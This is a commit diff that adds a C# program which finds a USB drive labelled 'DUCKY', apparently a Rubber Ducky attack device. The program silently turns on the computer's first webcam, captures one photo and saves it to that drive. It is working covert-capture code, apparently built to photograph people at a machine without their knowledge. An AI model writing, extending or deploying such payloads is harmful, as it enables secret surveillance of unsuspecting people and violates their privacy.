|
| 1 | +using AForge.Video.DirectShow; |
| 2 | +using System; |
| 3 | +using System.Drawing; |
| 4 | +using System.IO; |
| 5 | + |
| 6 | +class Program |
| 7 | +{ |
| 8 | + private static FilterInfoCollection GetVideoDevices() |
| 9 | + { |
| 10 | + return new FilterInfoCollection(FilterCategory.VideoInputDevice); |
| 11 | + } |
| 12 | + |
| 13 | + static void Main(string[] args) |
| 14 | + { |
| 15 | + |
| 16 | + DriveInfo[] drives = DriveInfo.GetDrives(); |
| 17 | + string usbDriveLetter = ""; |
| 18 | + |
| 19 | + foreach (DriveInfo drive in drives) |
| 20 | + { |
| 21 | + if (drive.IsReady && drive.VolumeLabel == "DUCKY") |
| 22 | + { |
| 23 | + usbDriveLetter = drive.Name; |
| 24 | + break; |
| 25 | + } |
| 26 | + } |
| 27 | + |
| 28 | + if (usbDriveLetter == "") |
| 29 | + { |
| 30 | + Console.WriteLine("USB drive 'DUCKY' not found."); |
| 31 | + return; |
| 32 | + } |
| 33 | + |
| 34 | + |
| 35 | + // Get available video devices |
| 36 | + var videoDevices = GetVideoDevices(); |
| 37 | + |
| 38 | + if (videoDevices.Count == 0) |
| 39 | + { |
| 40 | + Console.WriteLine("No video devices found."); |
| 41 | + Environment.Exit(1); // Exit the application with an error code |
| 42 | + } |
| 43 | + |
| 44 | + // Select the first video device |
| 45 | + var videoDevice = videoDevices[0]; |
| 46 | + |
| 47 | + // Create video source |
| 48 | + var videoSource = new VideoCaptureDevice(videoDevice.MonikerString); |
| 49 | + |
| 50 | + // Start capturing |
| 51 | + videoSource.Start(); |
| 52 | + |
| 53 | + // Wait for a short period to ensure camera is ready (adjust as needed) |
| 54 | + System.Threading.Thread.Sleep(2000); |
| 55 | + |
| 56 | + // Capture the frame |
| 57 | + videoSource.NewFrame += (sender, eventArgs) => |
| 58 | + { |
| 59 | + // Capture the new frame |
| 60 | + Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone(); |
| 61 | + |
| 62 | + // Save the bitmap to a file |
| 63 | + // |
| 64 | + //string filePath = @"D:\image.jpg"; |
| 65 | + //string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg"); |
| 66 | + string filePath = usbDriveLetter + @"\image.jpg"; |
| 67 | + bitmap.Save(filePath); |
| 68 | + |
| 69 | + Console.WriteLine("Image saved to " + filePath); |
| 70 | + |
| 71 | + // Stop capturing |
| 72 | + videoSource.SignalToStop(); |
| 73 | + videoSource.WaitForStop(); |
| 74 | + |
| 75 | + // Exit the application |
| 76 | + Environment.Exit(0); |
| 77 | + }; |
| 78 | + |
| 79 | + // Wait for capturing to finish (This line should be removed if not waiting indefinitely) |
| 80 | + videoSource.WaitForStop(); |
| 81 | + } |
| 82 | +} |
0 commit comments